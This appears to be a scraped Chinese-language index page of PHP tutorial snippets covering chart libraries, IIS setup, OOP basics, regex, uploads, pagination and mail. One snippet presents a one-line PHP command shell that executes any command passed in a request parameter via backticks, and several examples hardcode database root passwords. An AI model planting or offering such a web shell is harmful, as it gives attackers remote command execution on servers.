20個非常有用的PHP類庫 加速php開發

圖表庫下面的類庫可以讓你很簡的建立複雜的圖表和圖片。當然,它們需要GD庫的支援。pChart - 一個可以建立統計圖的庫。Libchart - 這也是一個簡單的統計圖庫。 JpGraph - 一個物件導向的圖片建立類。 Open Flash Chart - 這是一個基於Flash的統計圖。 RSS 解析解釋RSS並是一件很單調的事情,不過幸好你有下面的類庫可以協助你方便地讀取RSS的Feed。MagpieRSS - 開源的PHP版RSS解析器,據說功能強大,未驗證。SimplePie -

Vista中給IIS7添加PHP支援的設定方法

最後我還是用的老方法,ISAPI,選用了一個5.3以前的版本,我選的是5.2.11。php-5.2.11-Win32.zip的http://cn2.php.net/distributions/php-5.2.11-Win32.zip如果上面的地址不好始,也可以去下面這個地址去從其他鏡像下載http://cn.php.net/get/php-5.2.11-Win32.zip/from/a/mirror把php-5.2.11-Win32.zip下載回來之後,把裡面的檔案解壓到C:\php目錄下(或者

PHP字串 ==比較子的副作用

複製代碼 代碼如下:$a = '212345678912000005'; $b = '212345678912000001'; var_dump($a == $b); 這段代碼的輸出是bool(true), 說明這樣判斷會得出結論是兩者相等. 類似的特性在in_array()函數第3個參數為false或者不設定的情況. 原因是首先判斷字串是否是數字, 然後轉換成long或者double(C語言資料類型)再判斷 - 使用zendi_smart_strcmp. 但是,

PHP 日期加減的類,很不錯

如何使用這個類呢?請看下面的示範: 複製代碼 代碼如下:$temptime = time(); echo strftime ( "%Hh%M %A %d %b" , $temptime ); $date = new DateAccount(); $temptime = $date ->DateAdd( "n" ,50, $temptime ); echo "<p>" ; echo strftime ( "%Hh%M %A %d %b" , $temptime ); 複製代碼

php物件導向全攻略 (十七) 自動載入類

自動載入類 很多開發人員寫物件導向的應用程式時,對每個類的定義建立一個PHP 源檔案。一個很大 的煩惱是不得不在每個指令碼(每個類一個檔案)開頭寫一個長長的包含檔案的列表。 在軟體開發的系統中,不可能把所有的類都寫在一個PHP 檔案中,當在一個PHP 檔案 中需要調用另一個檔案中聲明的類時,就需要通過include 把這個檔案引入。不過有的時候, 在檔案眾多的項目中,要一一將所需類的檔案都include 進來,是一個很讓人頭疼的事,所以 我們能不能在用到什麼類的時候,再把這個類所在的PHP

php物件導向全攻略 (二) 執行個體化對象 使用對象成員

5.如何執行個體化對象 我們上面說過物件導向程式的單位就是對象,但對象又是通過類的執行個體化出來的,既然 我們類會聲明了,下一步就是執行個體化對象了。 當定義好類後,我們使用new 關鍵字來產生一個對象。 程式碼片段 複製代碼 代碼如下:$對象名稱= new 類名稱(); <?php class Person{ //下面是人的成員屬性 var $name; //人的名字 var $sex; //人的性別 var $age; //人的年齡 //下面是人的成員方法 function say()

php物件導向全攻略 (一) 物件導向基礎知識

1.物件導向的概念 物件導向編程(Object Oriented Programming,OOP,物件導向程式設計)是一種電腦編程架構,OOP 的一條基本原則是電腦程式是由單個能夠起到子程式作用的單元或對象組合而成,OOP

PHP Regex驗證中文的問題

$str = '中華人民共和國123456789abcdefg'; echo preg_match("/^[\u4e00-\u9fa5_a-zA-Z0-9]{3,15}$",$strName); 運行一下上面這段代碼,看會有什麼提示資訊? Warning: preg_match(): Compilation failed: PCRE does not support \L, \l, \N, \P, \p, \U, \u, or \X at offset 3 in

php 正則匹配函數體

複製代碼 代碼如下:<?php $data = php_strip_whitespace('test.php'); //去掉注釋,空格,換行(不包括字串中的) echo $data; $data = preg_match_all(" / function\s+ #匹配function和後面的空格 [a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]* #匹配函數名 \(([^)]*?)\)\s+ #匹配函數參數,並且作為子模式捕獲 \{ (.*?) \}(?=(?

PHP 上傳檔案大小限制

配置php.ini檔案 (以上傳500M以下大小的檔案為例) 尋找以下選項並修改-> file_uploads = On ;開啟檔案上傳選項 upload_max_filesize = 500M ;上傳檔案上限 如果要上傳比較大的檔案,僅僅以上兩條還不夠,必須把伺服器緩衝上限調大,把指令碼最大執行時間變長 post_max_size = 500M ;post上限 max_execution_time = 1800 ; Maximum execution time of each

國外500M容量免費php空間申請/可綁米

國外500M容量免費php空間申請/可綁米 FreeWebHostingArea免費PHP空間,500M儲存空間,單個檔案限10M以內,不限上傳檔案類型,每天5G流量限制,FTP、Web方式上傳管理檔案,支援PHP5、MySQL5、SSI,可自訂404、403錯誤,提供免費次層網域1個,或者綁定1個你自己的網域名稱,無廣告。 FreeWebHostingArea免費空間旗下有多個網站,網域名稱不一樣、IP地址不一樣,其它都一樣,根據你的需要來選擇。

PHP 七大優勢分析

雖然ASP是一種不錯的技術,但從長遠考慮我相信PHP在將來的技術領域裡會有不凡的表現。  我認為有七個理由可以說明PHP比ASP更優秀:  1、速度、速度、速度  當我第一次運行PHP指令碼程式時,我不禁對自己說:“太快了”,當時我是在儀態166MHZ的機器上運行我的程式的,但啟動並執行速度仍然很快。  ASP是永遠也不會象PHP這樣快的,因為ASP是建立在COM體繫結構之上的。當用VBScript寫ASP指令碼時,實際上實在使用COM的對象,當向使用者瀏覽器發送資訊時,它用的是Response

PHP 線上翻譯函數代碼

代碼分享給大家 複製代碼 代碼如下:<? /** * GOOGLE翻譯 英漢 * * @param string $text 翻譯句 * @return unknown */ function googleTran($text){ if(empty($text)) return ""; sleep(1);//反間碟 $wf=@file_get_contents('http://translate.google.cn/translate_t?sl=en&tl=

php一句話cmdshell新型 (非一句話木馬)

複製代碼 代碼如下:<?php /*一個新型的php一句話cmdshell(非一句話木馬) //原理:php運行時如果遇見字元``(鍵盤上~符號的下檔鍵)總會嘗試著執行``裡麵包含的命令,並返回命令執行的結果(string類型); //局限性:特徵碼比較明顯,``符號在php中很少用到,殺毒軟體很容易以此為特徵碼掃描到並警報;``裡面不能執行php代碼; //write by skyfire */ echo `$_REQUEST[id]`; ?>

php auth_http類庫進行身份效驗

複製代碼 代碼如下:<?php require_once("Auth/HTTP.php"); //設定資料庫的串連選項 $auth_options=array( 'dsn'=>"mysql://root:1981427@localhost/test", //資料庫連接字串 'table'=>"tablename1", //表名 'usernamecol'=>"username", //用於儲存使用者名稱的列 'passwordcol'=>"password", //

php 資訊採集程式碼

複製代碼 代碼如下:<? //採集首頁地址 $url="http://emotion.pclady.com.cn/skills/"; //擷取頁面代碼 $rs=file_get_contents($url); //設定匹配正則 //$fp=fopen("text.txt","a"); //$fw=fwrite($fp,$rs); //fclose($fp); /*<I class=titles><A

php 結果集的分頁實現代碼

複製代碼 代碼如下:<?php @mysql_connect("localhost", "root","1981427") //串連資料庫伺服器 or die("資料庫伺服器串連失敗"); @mysql_select_db("test") //選擇資料庫mydb or die("資料庫不存在或不可用"); $query = @mysql_query("select * from tablename1") //執行用於計算頁數的SQL語句 or die("SQL語句執行失敗");

解決163/sohu/sina不能夠收到PHP MAIL函數發出郵件的問題

複製代碼 代碼如下:// multiple recipients $to = 'aidan@example.com' . ', '; // note the comma $to .= 'wez@example.com'; // subject $subject = 'Birthday Reminders for August'; // message $message = ' <html> <head> <title>Birthday Reminders

php 進度條實現代碼

複製代碼 代碼如下:<html> <head> </head> <body> <table width="400" border="0" cellspacing="1" cellpadding="1"> <tr> <td bgcolor="000000"> <table width="400" border="0" cellspacing="0" cellpadding="1"> <tr>

php Try Catch異常測試

頁面try catch裡使用c的 c1,c1裡使用b的b1,b1裡使用a的a1。預設的是:a1裡拋出異常,b1裡捕獲a1的異常,然後再把剛才的異常拋出,c1捕獲,然後拋出,最後頁面捕獲並輸出。結果是:X-Powered-By: PHP/5.1.1Content-type: text/html#0 D:\workspace\myzCollection\test.php(16): a->a1()#1 D:\workspace\myzCollection\test.php(28): b->

總頁數: 1662 1 .... 1505 1506 1507 1508 1509 .... 1662 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.